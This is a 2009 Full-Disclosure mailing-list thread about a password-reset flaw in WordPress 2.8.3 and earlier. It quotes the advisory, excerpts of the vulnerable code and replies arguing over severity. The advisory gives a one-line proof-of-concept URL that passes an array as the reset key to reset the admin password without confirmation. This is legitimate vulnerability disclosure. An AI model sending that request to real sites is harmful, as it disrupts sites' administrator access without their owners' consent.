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Re: WordPress <= 2.8.3 Remote admin reset password
From: laurent gaffie <laurent.gaffie () gmail com>
Date: Mon, 10 Aug 2009 22:48:16 -0400
Oh ok. Then, let's avoid that function. If it's useless to have a function who validate a reset passwd before resetting it, let's just avoid it smartass. 2009/8/10 Fabio N Sarmento [ Gmail ] <fabior2 () gmail com> There is no risk on this.
It's just a little flaw, it doesn't broke anything or put your admin access in risk. :-P to me , this vulnerability is more "BUZZ" then real deal. LOL 2009/8/10 laurent gaffie <laurent.gaffie () gmail com>Hi there, This wasn't tested on the 2.7* branch. It as been tested on the 2.8.* branch, with php 5.3.0 & php 5.2.9 as an Apache 2.2.12 module, on a linux env. Regards Laurent Gaffié 2009/8/10 Nicolas Valcárcel Scerpella <nicolas.valcarcel () canonical com>I don't see the issue with wp 2.7.1 On Mon, 10 Aug 2009, laurent gaffie wrote:Errata: "V. BUSINESS IMPACT ------------------------- An attacker could exploit this vulnerability to compromise the adminaccountof any wordpress/wordpress-mu <= 2.8.3" --> "V. BUSINESS IMPACT ------------------------- An attacker could exploit this vulnerability to reset the admin accountofany wordpress/wordpress-mu <= 2.8.3" Regards Laurent Gaffié 2009/8/10 laurent gaffie <laurent.gaffie () gmail com>============================================= - Release date: August 10th, 2009 - Discovered by: Laurent Gaffié - Severity: Medium ============================================= I. VULNERABILITY ------------------------- WordPress <= 2.8.3 Remote admin reset password II. BACKGROUND ------------------------- WordPress is a state-of-the-art publishing platform with a focus on aesthetics, web standards, and usability. WordPress is both free and priceless at the same time. More simply, WordPress is what you use when you want to work withyourblogging software, not fight it. III. DESCRIPTION ------------------------- The way Wordpress handle a password reset looks like this: You submit your email adress or username via this form /wp-login.php?action=lostpassword ; Wordpress send you a reset confirmation like that via email: " Someone has asked to reset the password for the following site and username. http://DOMAIN_NAME.TLD/wordpress Username: admin To reset your password visit the following address, otherwise justignorethis email and nothing will happenhttp://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag" You click on the link, and then Wordpress reset your admin password,andsends you over another email with your new credentials. Let's see how it works: wp-login.php: ...[snip].... line 186: function reset_password($key) { global $wpdb; $key = preg_replace('/[^a-z0-9]/i', '', $key); if ( empty( $key ) ) return new WP_Error('invalid_key', __('Invalid key')); $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->usersWHEREuser_activation_key = %s", $key)); if ( empty( $user ) ) return new WP_Error('invalid_key', __('Invalid key')); ...[snip].... line 276: $action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login'; $errors = new WP_Error(); if ( isset($_GET['key']) ) $action = 'resetpass'; // validate action so as to default to the login screen if ( !in_array($action, array('logout', 'lostpassword','retrievepassword','resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) ) $action = 'login'; ...[snip].... line 370: break; case 'resetpass' : case 'rp' : $errors = reset_password($_GET['key']); if ( ! is_wp_error($errors) ) { wp_redirect('wp-login.php?checkemail=newpass'); exit(); } wp_redirect('wp-login.php?action=lostpassword&error=invalidkey'); exit(); break; ...[snip ]... You can abuse the password reset function, and bypass the first stepandthen reset the admin password by submiting an array to the $keyvariable.IV. PROOF OF CONCEPT ------------------------- A web browser is sufficiant to reproduce this Proof of concept: http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=<http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key%5B%5D=><http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key%5B%5D=>The password will be reset without any confirmation. V. BUSINESS IMPACT ------------------------- An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu <= 2.8.3 VI. SYSTEMS AFFECTED ------------------------- All VII. SOLUTION ------------------------- No patch aviable for the moment. VIII. REFERENCES ------------------------- http://www.wordpress.org IX. CREDITS ------------------------- This vulnerability has been discovered by Laurent Gaffié Laurent.gaffie{remove-this}(at)gmail.com I'd like to shoot some greetz to securityreason.com for them great research on PHP, as for this under-estimated vulnerability discoveredbyMaksymilian Arciemowicz : http://securityreason.com/achievement_securityalert/38 X. REVISION HISTORY ------------------------- August 10th, 2009: Initial release XI. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information._______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/-- Nicolas Valcárcel Security Engineer Custom Engineering Solutions Group Canonical OEM Services Mobile: +511 994 293 200 Key fingerprint = 5C4D 0C85 D9C0 98FE 11F9 DD12 524E C3CD EF58 4970 gpg --keyserver keyserver.ubuntu.com --recv-keys 654597FE -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iQEcBAEBCAAGBQJKgNe5AAoJEFJOw83vWElwLj4H/3dk7RW9WJoUpzI6E5QKdXsF 7uNeGL8Yho9RZuPEK93IecImLa25Jy7KhzL+P4FfCCyYXVG8hxaUlUQss77PhsjK VG/YkDChiNJi2tj7jixcdpVy7MLiDxMiHBGNSzI2piBiZb3/toSBvZslSW2yqgIk OkqbJ7AE5yTu4sulhO29DRYzFUjvZHGKR2akRu/3RlOUHhwVDJw0m2ZO4M3MHz4+ 1x/w7HhzmbMo/kioxJpPsU7f+axVnRMia9dZmvakfhmNdht98qAE/a7UlpT+ft1w Vua7DRYwOn4o5UYXhBmUL/uCUt3CLeT9Jgu0/bWZ3G3gR1Rw1edS7E5Q7A9wlEY= =UdOl -----END PGP SIGNATURE-----_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/-- If you have questions please let me know. Best regards, - Fábio - IT Manager
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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- WordPress <= 2.8.3 Remote admin reset password laurent gaffie (Aug 10)
- Re: WordPress <= 2.8.3 Remote admin reset password laurent gaffie (Aug 10)
- Re: WordPress <= 2.8.3 Remote admin reset password Nicolas Valcárcel Scerpella (Aug 10)
- Re: WordPress <= 2.8.3 Remote admin reset password laurent gaffie (Aug 10)
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- Re: WordPress <= 2.8.3 Remote admin reset password laurent gaffie (Aug 10)
- Re: WordPress <= 2.8.3 Remote admin reset password Jeremy Brown (Aug 10)
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- Re: WordPress <= 2.8.3 Remote admin reset password laurent gaffie (Aug 10)
- Re: WordPress <= 2.8.3 Remote admin reset password g30rg3_x (Aug 10)
- Re: WordPress <= 2.8.3 Remote admin reset password Nicolas Valcárcel Scerpella (Aug 10)
- Re: WordPress <= 2.8.3 Remote admin reset password laurent gaffie (Aug 10)
- Re: WordPress <= 2.8.3 Remote admin reset password laurent gaffie (Aug 10)
- Re: WordPress <= 2.8.3 Remote admin reset password laurent gaffie (Aug 10)
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- Re: WordPress <= 2.8.3 Remote admin reset password laurent gaffie (Aug 10)